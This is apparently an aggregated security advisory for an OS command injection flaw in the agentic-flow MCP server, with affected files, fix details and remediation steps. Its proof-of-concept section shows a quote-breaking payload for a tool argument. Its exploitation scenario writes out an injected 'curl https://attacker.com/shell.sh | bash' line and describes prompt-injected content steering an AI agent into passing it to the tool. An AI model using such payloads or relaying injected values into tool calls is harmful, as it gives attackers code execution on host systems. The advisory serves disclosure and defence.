GHSA-vcv2-r9jh-99m5: agentic-flow: MCP tool args enable OS command injection RCE
GHSA-vcv2-r9jh-99m5 HIGHagentic-flow versions <= 2.0.13 interpolate attacker-controlled MCP tool arguments directly into shell command strings executed via Node.js execSync(), allowing arbitrary OS command execution with the privileges of the MCP server process. In agentic deployments where untrusted content — web pages, files, third-party API responses — flows through the agent, this is reachable without direct host access, creating a prompt-injection-to-RCE chain that sidesteps traditional perimeter controls. The HTTP/SSE transports expose identical sinks without authentication or Origin validation, meaning any deployment binding these transports to a network interface is directly reachable by unauthenticated attackers. Downstream consumers of ruflo, claude-flow, or @claude-flow/cli are also affected via transitive dependency; all must upgrade to their respective 3.12.4 releases, as no in-product configuration workaround exists.
What is the risk?
CVSS 8.8 (High) with a realistic path to critical in networked deployments. The documented PoC payload is a trivial shell metacharacter break requiring no AI/ML knowledge — script-kiddie accessible. The HTTP/SSE transport exposure without authentication substantially increases the effective attack surface beyond local agent contexts, removing the implicit protection of requiring agent-mediated delivery. The partial-fix gap (a prior remediation commit missed MCP server files entirely) signals a history of incomplete remediation in this codebase and raises the probability that additional sinks remain. No CISA KEV listing yet, but the attack class is well-understood and the PoC is fully documented in the advisory.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| agentic-flow | npm | <= 2.0.13 | 2.0.14 |
Do you use agentic-flow? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade agentic-flow to >= 2.0.14 immediately; the fix rewrites every affected execSync() call to execFileSync(file, argv, { shell: false }), preventing shell parsing of attacker-controlled argv elements.
-
Downstream: upgrade ruflo, claude-flow, or @claude-flow/cli to >= 3.12.4.
-
If HTTP/SSE transports are network-bound, enforce authentication and Origin/Host header validation at the reverse proxy layer as defense-in-depth regardless of package version.
-
Audit any custom or forked MCP server code for additional execSync() calls with interpolated user-controlled values using the grep pattern from the fix PR: grep -r 'execSync' src/mcp/.
-
Adopt the regression CI gate added in the fix (static scan failing the build on any new execSync outside a documented exemption).
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-vcv2-r9jh-99m5?
agentic-flow versions <= 2.0.13 interpolate attacker-controlled MCP tool arguments directly into shell command strings executed via Node.js execSync(), allowing arbitrary OS command execution with the privileges of the MCP server process. In agentic deployments where untrusted content — web pages, files, third-party API responses — flows through the agent, this is reachable without direct host access, creating a prompt-injection-to-RCE chain that sidesteps traditional perimeter controls. The HTTP/SSE transports expose identical sinks without authentication or Origin validation, meaning any deployment binding these transports to a network interface is directly reachable by unauthenticated attackers. Downstream consumers of ruflo, claude-flow, or @claude-flow/cli are also affected via transitive dependency; all must upgrade to their respective 3.12.4 releases, as no in-product configuration workaround exists.
Is GHSA-vcv2-r9jh-99m5 actively exploited?
No confirmed active exploitation of GHSA-vcv2-r9jh-99m5 has been reported, but organizations should still patch proactively.
How to fix GHSA-vcv2-r9jh-99m5?
1. Upgrade agentic-flow to >= 2.0.14 immediately; the fix rewrites every affected execSync() call to execFileSync(file, argv, { shell: false }), preventing shell parsing of attacker-controlled argv elements. 2. Downstream: upgrade ruflo, claude-flow, or @claude-flow/cli to >= 3.12.4. 3. If HTTP/SSE transports are network-bound, enforce authentication and Origin/Host header validation at the reverse proxy layer as defense-in-depth regardless of package version. 4. Audit any custom or forked MCP server code for additional execSync() calls with interpolated user-controlled values using the grep pattern from the fix PR: grep -r 'execSync' src/mcp/. 5. Adopt the regression CI gate added in the fix (static scan failing the build on any new execSync outside a documented exemption).
What systems are affected by GHSA-vcv2-r9jh-99m5?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP server deployments, multi-agent systems, agentic pipelines.
What is the CVSS score for GHSA-vcv2-r9jh-99m5?
GHSA-vcv2-r9jh-99m5 has a CVSS v3.1 base score of 8.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary `agentic-flow` versions `<= 2.0.13` MCP server tools interpolated attacker-influenceable tool parameters (e.g. `agent`, `task`, `name`, `language`, `agentdb` arguments) directly into shell command strings passed to `execSync()`. A malicious value reaching any of the affected MCP tools could break out of the surrounding double-quoted argument and execute arbitrary OS commands with the privileges of the user running the MCP server. This was a partial-fix gap: prior commit `6a06854` (#158) fixed CWE-78 elsewhere in the project but missed the MCP server files entirely. ## Impact Any MCP tool argument that the AI agent treats as data but the implementation interpolates into a shell command string becomes a command-injection vector. In MCP deployments where untrusted content (web pages, files, third-party tool output) is processed by the agent, this is reachable without direct attacker access to the host. The HTTP/SSE transports (`http-sse.ts`, `http-streaming-updated.ts`) expose the same sinks without authentication or Origin/Host validation, which may raise the effective severity in any deployment that binds them to a reachable network interface. ## Affected components - `src/mcp/standalone-stdio.ts` — `agentic_flow_agent`, `agentic_flow_create_agent`, `agentic_flow_list_all_agents`, `agentic_flow_agent_info`, `agentic_flow_check_conflicts`, `agentic_flow_optimize_model`, `agentic_flow_list_agents`, `agent_booster_edit_file`, `agent_booster_batch_edit`, `agent_booster_parse_markdown`, `agentdb_stats`, `agentdb_pattern_store`, `agentdb_pattern_search`, `agentdb_pattern_stats` - `src/mcp/fastmcp/servers/claude-flow-sdk.ts` - `src/mcp/fastmcp/servers/stdio-full.ts` - `src/mcp/fastmcp/servers/http-streaming-updated.ts` - `src/mcp/fastmcp/servers/http-sse.ts` - `src/mcp/fastmcp/servers/poc-stdio.ts` - `src/mcp/fastmcp/tools/agent/{execute,list,parallel}.ts` - `src/mcp/fastmcp/tools/swarm/orchestrate.ts` - `src/mcp/fastmcp/tools/hooks/pretrain.ts` (depth path only) ## Proof of Concept ```ts // Pre-fix (standalone-stdio.ts, agentic_flow_agent) let cmd = `npx --yes agentic-flow --agent "${agent}" --task "${task}"`; const result = execSync(cmd, { encoding: 'utf-8', ... }); ``` Invoking the MCP tool with: ```json { "agent": "coder", "task": "x\"; touch /tmp/INJECTED; id > /tmp/rce.txt; echo \"" } ``` produces, after interpolation: ``` npx --yes agentic-flow --agent "coder" --task "x"; touch /tmp/INJECTED; id > /tmp/rce.txt; echo "" ``` When `execSync` hands that to `/bin/sh -c`, the shell parses three commands: the truncated `npx`, then `touch /tmp/INJECTED`, then `id > /tmp/rce.txt; echo ""`. The marker file `/tmp/INJECTED` is created and the user's `id` output is written to `/tmp/rce.txt`. ## Patches Fixed in [`agentic-flow@2.0.14`](https://www.npmjs.com/package/agentic-flow/v/2.0.14) — every affected call site rewritten to use `execFileSync(file, argv, { shell: false })` so attacker-controlled argv elements are passed straight to `execve(2)` without shell parsing. Fix PR: ruvnet/agentic-flow#170 (merged at `0c2ec96`) A regression test (`tests/security/cwe-78-mcp-execsync.test.ts`) was added that statically scans every `src/mcp/**/*.ts` file and fails the build if any new `execSync()` call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to `execFileSync`. ## Workarounds Upgrade to `agentic-flow >= 2.0.14`. There is no in-product configuration that mitigates this without upgrading. ## Downstream pin The `ruflo` / `claude-flow` / `@claude-flow/cli` packages bumped from `3.12.3` → `3.12.4` to pull the patched `agentic-flow`: - `ruflo@3.12.4` - `claude-flow@3.12.4` - `@claude-flow/cli@3.12.4` End users running any of `npx ruflo@latest`, `npx claude-flow@latest`, or `npx @claude-flow/cli@latest` are pinned to the fixed version. ## Credit Reported by **hackchang** via a well-scoped red-team report package (`npm_agentic-flow_report_package_20260618_163017.zip`) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.
Exploitation Scenario
An adversary targeting an AI agent deployment embeds shell metacharacters into content the agent will process — for example, a document field, web page body, or third-party API response containing the value 'x"; curl https://attacker.com/shell.sh | bash; echo "'. When the agent invokes the agentic_flow_agent MCP tool to delegate a task derived from this content, the tainted value is interpolated into the npx command string and passed to execSync(). The shell parses three commands: the truncated npx invocation, then the attacker's payload, executing as the MCP server's OS user. In deployments where the HTTP/SSE transport is network-accessible, the adversary bypasses the agent intermediary entirely, calling MCP tools directly without any authentication, reducing the attack to a single unauthenticated HTTP request.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
- github.com/advisories/GHSA-vcv2-r9jh-99m5
- github.com/ruvnet/agentic-flow/issues/169
- github.com/ruvnet/agentic-flow/pull/170
- github.com/ruvnet/agentic-flow/security/advisories/GHSA-vcv2-r9jh-99m5
- github.com/ruvnet/ruflo/issues/2414
- github.com/ruvnet/ruflo/pull/2415
- github.com/ruvnet/ruflo/releases/tag/v3.12.4
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply Chain CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution